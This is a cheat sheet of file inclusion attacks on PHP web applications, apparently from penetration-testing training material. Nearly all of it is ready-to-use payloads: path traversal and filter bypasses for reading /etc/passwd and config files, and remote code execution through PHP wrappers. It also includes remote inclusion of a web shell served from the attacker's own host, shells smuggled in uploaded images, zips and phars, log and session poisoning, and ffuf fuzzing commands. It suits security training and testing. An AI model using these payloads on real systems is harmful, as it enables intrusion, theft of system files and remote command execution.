

FILE INCLUSION

CHEAT SHEET

Local File Inclusion

Basic LFI

Basic LFI:

```
/index.php?language=/etc/passwd
```

LFI with path traversal:

```
/index.php?language=../../../../etc/passwd
```

LFI with name prefix:

```
/index.php?language=../../../../etc/passwd
```

LFI with approved path:

```
/index.php?language=./languages/../../../../etc/passwd
```

LFI Bypasses

Bypass basic path traversal filter:

```
/index.php?language=../../../../../../../../etc/passwd
```



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Bypass filters with URL encoding:

```
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
```

Bypass appended extension with path truncation (obsolete):

```
/index.php?language=non_existing_directory/../../../../etc/passwd/../../../../[./ REPEATED ~2048 times]
```

Bypass appended extension with null byte (obsolete):

```
/index.php?language=../../../../etc/passwd%00
```

Read PHP with base64 filter:

```
/index.php?language=php://filter/read=convert.base64-encode/resource=config
```

Remote Code Execution

PHP Wrappers

RCE with data wrapper:

```
/index.php?language=data://text/plain;base64,PD9waHAga3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```



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RCE with input wrapper:

```
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"
```

RCE with expect wrapper:

```
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
```

RFI

Host web shell:

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>
```

Include remote PHP web shell:

```
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
```

LFI + Upload

Create malicious image:

```
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```



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RCE with malicious uploaded image:

```
/index.php?language=./profile_images/shell.gif&cmd=i
```

Create malicious zip archive 'as jpg':

```
echo '<?php system($_GET["cmd"]); ?>' >  
shell.php && zip shell.jpg shell.php
```

RCE with malicious uploaded zip:

```
/index.php?language=zip://shell.zip%23shell.  
php&cmd=id
```

Create malicious phar 'as jpg':

```
php --define phar.readonly=0 shell.php && mv  
shell.phar shell.jpg
```

RCE with malicious uploaded phar:

```
/index.php?language=phar://./profile_images/s  
hell.jpg%2Fshell.txt&cmd=id
```

Log Poisoning

Read PHP session parameters:

```
/index.php?language=/var/lib/php/sessions/se  
ss_nhhv8i0o6ua4g88bkdl9u1fdsd
```



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Poison PHP session with web shell:

```
/index.php?language=%3C%3Fphp%20system%28%24  
_GET%5B%22cmd%22%5D%29%3B%3F%3E
```

RCE through poisoned PHP session:

```
/index.php?language=/var/lib/php/sessions/se  
ss_nhhv8i0o6ua4g88bkd19u1fdsd&cmd=id
```

Poison server log:

```
curl -s "http://<SERVER_IP>:<PORT>/index.  
php" -A '<?php system($_GET["cmd"]); ?>'
```

RCE through poisoned PHP session:

```
/index.php?language=/var/log/apache2/access.  
log&cmd=id
```

Misc

Fuzz page parameters:

```
ffuf -w /opt/useful/SecLists/Discovery/  
Web-Content/burp-parameter-names.txt:FUZZ -u  
'http://<SERVER_IP>:<PORT>/index.php?FUZZ=va  
lue' -fs 2287
```



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Fuzz LFI payloads:

```
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
```

Fuzz webroot path:

```
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
```

Fuzz server configurations:

```
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
```

LFI Wordlists

LFI-Jhaddix.txt

Webroot path wordlist for Linux

Webroot path wordlist for Windows

Server configurations wordlist for Linux

Server configurations wordlist for Windows



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Misc

PHP

`include()/include_once()`

Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

`require()/require_once()`

Read Content [Yes] - Execute [Yes] - Remote URL [No]

`file_get_contents()`

Read Content [Yes] - Execute [No] - Remote URL [Yes]

`fopen()/file()`

Read Content [Yes] - Execute [No] - Remote URL [No]

NodeJS

`fs.readFile()`

Read Content [Yes] - Execute [No] - Remote URL [No]

`fs.sendFile()`

Read Content [Yes] - Execute [No] - Remote URL [No]



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`res.render()`

Read Content [Yes] - Execute [Yes] - Remote URL [No]

Java

`include`

Read Content [Yes] - Execute [No] - Remote URL [No]

`import`

Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

.NET

`@Html.Partial()`

Read Content [Yes] - Execute [No] - Remote URL [No]

`@Html.RemotePartial()`

Read Content [Yes] - Execute [No] - Remote URL [Yes]

`Response.WriteFile()`

Read Content [Yes] - Execute [No] - Remote URL [No]

`include`

Read Content [Yes] - Execute [Yes] - Remote URL [Yes]